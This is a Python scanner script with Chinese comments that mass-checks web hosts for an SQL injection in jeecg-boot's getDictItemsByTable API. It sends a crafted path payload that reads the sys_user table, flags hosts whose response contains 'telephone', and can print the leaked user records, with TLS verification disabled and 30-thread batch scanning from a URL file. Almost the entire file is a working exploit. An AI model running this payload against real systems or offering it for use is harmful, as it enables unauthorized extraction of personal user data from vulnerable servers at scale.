import argparse
import re
import textwrap
from multiprocessing.dummy import Pool
import requests
import warnings
import urllib3
from urllib3.exceptions import InsecureRequestWarning


headers = {
    'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)',
    'Accept': '*/*',
    'Connection': 'Keep-Alive'
}



def main():
    # 关闭警告
    urllib3.disable_warnings(InsecureRequestWarning)
    warnings.filterwarnings("ignore")

    banner = r"""
             __   .__             .__ 
            |__|  |__|    ______  |__|
            |  |  |  |   /  ___/  |  |
            |  |  |  |   \___ \   |  |
        /\__|  |  |__|  /____  >  |__|
        \______|             \/       

            """
    print(banner)

    parser = argparse.ArgumentParser(description='jeecg-boot getDictItemsByTable接口存在SQL注入漏洞',
                                     formatter_class=argparse.RawDescriptionHelpFormatter,
                                     epilog=textwrap.dedent("实例：python3 1.py -u http://www.baidu.com"))
    parser.add_argument("-u", "--url", dest="url", help="请输入待检测的URL")
    parser.add_argument("-f", "--file", dest="file", help="请输入一行一个URL的文件地址")
    parser.add_argument("-c", "--content", dest="content", help="输入任意值查看漏洞详情")


    args = parser.parse_args()


    urls = []  # 空列表，接收文件中的url

    if args.url:
        check(update(args.url),args.content)
    elif args.file:              #批量检测入口
        try:
            with open(args.file, 'r+') as f:
                for i in f:
                    i = i.strip()
                    urls.append(update(i))
            pool = Pool(30)
            pool.map(check, urls)
        except Exception as e:
            print(e)
    else:
        print('请输入参数')


#处理没有协议头的url
def update(domain):
    if 'http' in domain:
        return domain
    else:
        return f'http://{domain}'

#用于检测漏洞
def check(domain,content=None):
    url = f"{domain}/api/sys/ng-alain/getDictItemsByTable/'%20from%20sys_user/*,%20'/x.js"
    try:
        response2 = requests.get(url, headers=headers, verify=False, timeout=10)  #有时候会出现第一次检测不到，第二次嫩能够检测到，所以直接发两次包
        response = requests.get(url, headers=headers, verify=False, timeout=10)
        if 'telephone' in response.text and response.status_code == 200:
            print(f'[+] {domain} 存在漏洞')
            if content:
                print(f'漏洞详情：{response.text}')
        else:
            print(f'[-] {domain} 不存在漏洞')
    except Exception as e:
        print(f'[!] {domain} 检测出现错误')




if __name__ == '__main__':
    main()